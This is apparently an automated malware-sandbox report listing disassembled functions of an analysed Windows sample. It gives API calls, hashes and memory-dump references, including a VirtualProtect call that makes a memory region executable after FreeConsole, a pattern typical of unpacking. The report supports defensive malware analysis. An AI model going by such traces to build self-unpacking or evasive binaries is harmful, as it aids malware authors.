Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 285c1b5e40eb4447c3b026676e985b9c4be3a8c79f966facc28b528b8e2ae997
Instruction ID: 26235b9b5b2a0d047dfaf01531332eee88565290a50a3a738aac7b8a58097cfd
Opcode Fuzzy Hash: 285c1b5e40eb4447c3b026676e985b9c4be3a8c79f966facc28b528b8e2ae997
Instruction Fuzzy Hash: 8A61B3B1901289AFDF11CFA9CC45AEEBFBBAF59714F140159E804AB251D332D913CB90

Function 006E1930 Relevance: 3.1, APIs: 2, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 006E1B0F
___raise_securityfailure.LIBCMT ref: 006E1BF7

Part of subcall function 006E277E: RaiseException.KERNEL32(E06D7363,00000001,00000003,006E1807,?,?,?,006E1A2F,006E1807,006FB3D4,?,006E1807,string too long,006E1236), ref: 006E27DF

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID:
API String ID: 3749517692-0
Opcode ID: ed4e447b9baf76ce52f0e00a8e56463e6a5f6e2acf770655bea2ec650a0f6241
Instruction ID: f14b1d0e6bc55bfbef4c9eda687395b6e271b37f8228b5e9ae6c23ba56061180
Opcode Fuzzy Hash: ed4e447b9baf76ce52f0e00a8e56463e6a5f6e2acf770655bea2ec650a0f6241
Instruction Fuzzy Hash: 0E3163B5505308EBD700DF69FD55B687BBBBB09310F10602AE904DB3E1EB70A586DB44

Function 006ED32E Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,006ECCC0,?,006E3D94,?,?,?,00000000), ref: 006ED3CA
GetLastError.KERNEL32(?,006ECCC0,?,006E3D94,?,?,?,00000000,?,?,?,?,?,006E3B32,?,006E3D94), ref: 006ED3F0

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: b179c4e4b8a39c1e05e5bdab153a4a5a9c6f2f2fc0240b34eb1b92bbc8b35681
Instruction ID: 28a2ddab7ddb9afae0156b38b162d08d77c99fdcbebf7bf3e340c469d3b9f2f0
Opcode Fuzzy Hash: b179c4e4b8a39c1e05e5bdab153a4a5a9c6f2f2fc0240b34eb1b92bbc8b35681
Instruction Fuzzy Hash: 5F219474A012599FCF19CF1ADC809EDB7BAEF49301F2440A9E946D7211D630ED46CB61

Function 006E79C3 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,006E78B2,006FB6B8,0000000C), ref: 006E7A0F
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,006E78B2,006FB6B8,0000000C), ref: 006E7A21

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 61936bde096a8634d75bc18ea37173b07b1125449f34c37ff7f25b9250874cf0
Instruction ID: 8bb621d59a04caee4f039e6f134855d4238f60018bf5be597422e5ddbad5e5fa
Opcode Fuzzy Hash: 61936bde096a8634d75bc18ea37173b07b1125449f34c37ff7f25b9250874cf0
Instruction Fuzzy Hash: A211B97110D7C146C7354E3F9C8867ABA97AB56330B380729D0B6867F1D634DB86E251

Function 006E1511 Relevance: 3.1, APIs: 2, Instructions: 62
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 006E1540

Part of subcall function 006E123B: KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 006E13BC
Part of subcall function 006E123B: CloseFigure.GDI32(00000000), ref: 006E13C3

VirtualProtect.KERNELBASE(006FC011,00000549,00000040,?), ref: 006E158C

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: CloseConsoleDispatcherExceptionFigureFreeProtectUserVirtual
String ID:
API String ID: 3716559696-0
Opcode ID: 5fea51e07bcca18b534ce57ab5f0a610247733bfc410fb48a5d2100c68b76b75
Instruction ID: 9222472746e73f08306e175a94de7f3720335a32e7b16b97e0d0ec92ef6bcfaf
Opcode Fuzzy Hash: 5fea51e07bcca18b534ce57ab5f0a610247733bfc410fb48a5d2100c68b76b75
Instruction Fuzzy Hash: 2F112C71E0120C6BDB00AF65CC42EFFB77AEF85310F400029F604BB281E9759D429795

Function 006E8352 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,006EA687,?,00000000,?,?,006EA5A3,?,00000007,?,?,006EAB6E,?,?), ref: 006E8368
GetLastError.KERNEL32(?,?,006EA687,?,00000000,?,?,006EA5A3,?,00000007,?,?,006EAB6E,?,?), ref: 006E8373

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: a6aebb505065be50af43bf3494a41482d16127901aa6675aea2b0c4cba6e5481
Instruction ID: 68d1e87b5dc39235eb7691990af13607fec6dfec022048a9115ea88c1865e6bc
Opcode Fuzzy Hash: a6aebb505065be50af43bf3494a41482d16127901aa6675aea2b0c4cba6e5481
Instruction Fuzzy Hash: 90E08CB2101344AFCB112FE2EC09BA93AABEB44792F144024F60DDB1A0DE358840CB85

Function 006E70B0 Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f362f76dca404dd12ae568b4bb4243bc908efda982072eb420a8d3b49cd12de3
Instruction ID: cb1cc88577f8543c47d13c002969467018ce189e2cc7571e79860944da38b1cc
Opcode Fuzzy Hash: f362f76dca404dd12ae568b4bb4243bc908efda982072eb420a8d3b49cd12de3
Instruction Fuzzy Hash: 6601D837609359AFDF028F6AEC459BA37A7FBC13707296128F505DB298DA31D801D790

Function 006E8CFD Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,006E1A21,006E1807,?,006E29D3,006E1809,006E1807,?,?,?,006E19DE,006E1A21,006E180B,006E1807,006E1807,006E1807), ref: 006E8D2F

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3c21768638ad634141d2f0e519e5816adc8a7d865be09f256fb05e921a9df09e
Instruction ID: 0eea002a58cc54a84141c4dd77cc87d496b45cbff4605d853b3434524a11bf2c
Opcode Fuzzy Hash: 3c21768638ad634141d2f0e519e5816adc8a7d865be09f256fb05e921a9df09e
Instruction Fuzzy Hash: 97E065311033E45FDB213A679C05B9B3A4B9F617E0F250514EC0DA72D0DF60DC01C6A5

Non-executed Functions

Function 006EDAB2 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 006EDCC9

Strings

1#SNAN, xrefs: 006EDBBE
1#INF, xrefs: 006EDBE8
1#QNAN, xrefs: 006EDBC5
1#IND, xrefs: 006EDBB7

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 152bc8cf6a6231a9b06cc2df189bba95eabeeb9f19b5660d97163df900ae4e04
Instruction ID: ad349ad669a65b739aeb1041558951550d5efa94c3a8c584faf0ed6b89691eda
Opcode Fuzzy Hash: 152bc8cf6a6231a9b06cc2df189bba95eabeeb9f19b5660d97163df900ae4e04
Instruction Fuzzy Hash: 13D24771E0A2698FDB64CF29CD407EAB7B6EB44304F1441EAD40DE7240EB79AE858F41

Function 006EF0A0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96fd936941ea14c40cf15aa7d7a94fca463f635fe71879e8aa3b6861b8ead67f
Instruction ID: c0cb48cc56888c62f1f07bd9d3da6a03155c221ec057f02189b21e7519008ebe
Opcode Fuzzy Hash: 96fd936941ea14c40cf15aa7d7a94fca463f635fe71879e8aa3b6861b8ead67f
Instruction Fuzzy Hash: 79023C71E012599FDF14CFA9D8806EEBBF2FF48314F248269D519E7381D731AA068B94

Function 006EB1DB Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006EB2CB

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 761ecdda4722d893ddc399083313a51a962e82f5bc23cf5e475a7dd2ae72120d
Instruction ID: 5dfc03f4cc2648900493a3115fbd873daac004b72b4fd144b60281ced0a83012
Opcode Fuzzy Hash: 761ecdda4722d893ddc399083313a51a962e82f5bc23cf5e475a7dd2ae72120d
Instruction Fuzzy Hash: 5771F471C063989FDF21AF698C89AFEB7BAAF05300F1851D9E04C93251DB304E859F14

Function 006E2237 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 006E2243
IsDebuggerPresent.KERNEL32 ref: 006E230F
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 006E2328
UnhandledExceptionFilter.KERNEL32(?), ref: 006E2332

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 06d7a119bd63e8690daf102b7eb9d64935ddc6679faf571e36643d41dba4d9d8
Instruction ID: 0d66a2568fdc5de7e3b4e9385323c33eca9f0acd0bfcbb97d7e4ea28ed04adb1
Opcode Fuzzy Hash: 06d7a119bd63e8690daf102b7eb9d64935ddc6679faf571e36643d41dba4d9d8
Instruction Fuzzy Hash: DB3123B5C02329DADB20DFA1D8497CDBBB9AF08300F1041EAE50CAB250EB719B85CF45

Function 006E2113 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 006E2125
GetCurrentThreadId.KERNEL32 ref: 006E2134
GetCurrentProcessId.KERNEL32 ref: 006E213D
QueryPerformanceCounter.KERNEL32(?), ref: 006E214A

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 68d4693024a65422dcc705b3454e9d525d437dd8ed1908ea9de33c9dbf37690c
Instruction ID: 984ea888b0428a3e9bcc80e2679b4d7d5a150ffb43ea584657bf61ac231781df
Opcode Fuzzy Hash: 68d4693024a65422dcc705b3454e9d525d437dd8ed1908ea9de33c9dbf37690c
Instruction Fuzzy Hash: ACF062B4D1020DEBCB00DBF4DA499AEBBF6EF1C201BA15596A412E7110EB34AB44DB51

Function 006E631A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,006E1A21), ref: 006E6412
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,006E1A21), ref: 006E641C
UnhandledExceptionFilter.KERNEL32(006E14DF,?,?,?,?,?,006E1A21), ref: 006E6429

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b15b73b7e503de26987f962e90688062960e56d7db208bd3df6731cb131d9b5b
Instruction ID: e556bc0c69dbde2fb2a39c5d3b9690f1742e9e0840afb99ff4865540f03e0d93
Opcode Fuzzy Hash: b15b73b7e503de26987f962e90688062960e56d7db208bd3df6731cb131d9b5b
Instruction Fuzzy Hash: 4531F274902328DBCB21DF69D9897DCBBB9BF18310F5051EAE41CA72A0E7709B858F45

Function 006F3D1E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,006F3C79,?,?,00000008,?,?,006F384B,00000000), ref: 006F3F4B

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: f7a9c8d6280199ec4f4ddfdc52980ff80ba7c4dba2423299144187cf454a3db9
Instruction ID: 4d067a2049b9904bd807423b84c6048dbf9f2e9623ac78807564adadc0cee0a6
Opcode Fuzzy Hash: f7a9c8d6280199ec4f4ddfdc52980ff80ba7c4dba2423299144187cf454a3db9
Instruction Fuzzy Hash: 9DB16C31610618DFD715CF28C48ABA57BE2FF05364F258659EA99CF3A1C735EA82CB40

Function 006E2445 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 006E245B

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 3016676e2203229e08370d8e981be081574d36050de96d6897a5ee537d3bdd8a
Instruction ID: 41595d97e3fd5a30f40d0cb7f04231e52ef3b9e18e1bbadef861a3ac8a506b6a
Opcode Fuzzy Hash: 3016676e2203229e08370d8e981be081574d36050de96d6897a5ee537d3bdd8a
Instruction Fuzzy Hash: C4A1ADB19067498FDB18CF59DA916BDBBB7FB48324F24A52AD401EB361D3349940CF90

Function 006EB12A Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006E8BB5: HeapAlloc.KERNEL32(00000008,?,006E1A21,?,006E743C,00000001,00000364,006E1A21,00000006,000000FF,?,006E29D3,006E1809,006E1807,?,?), ref: 006E8BF6

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006EB2CB
FindNextFileW.KERNEL32(00000000,?), ref: 006EB3BF
FindClose.KERNEL32(00000000), ref: 006EB3FE
FindClose.KERNEL32(00000000), ref: 006EB431

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: 8ea5303ec4bccc8d9604f5b8ce6dda7ab835b6f8cf8d77fbb570e501ee426667
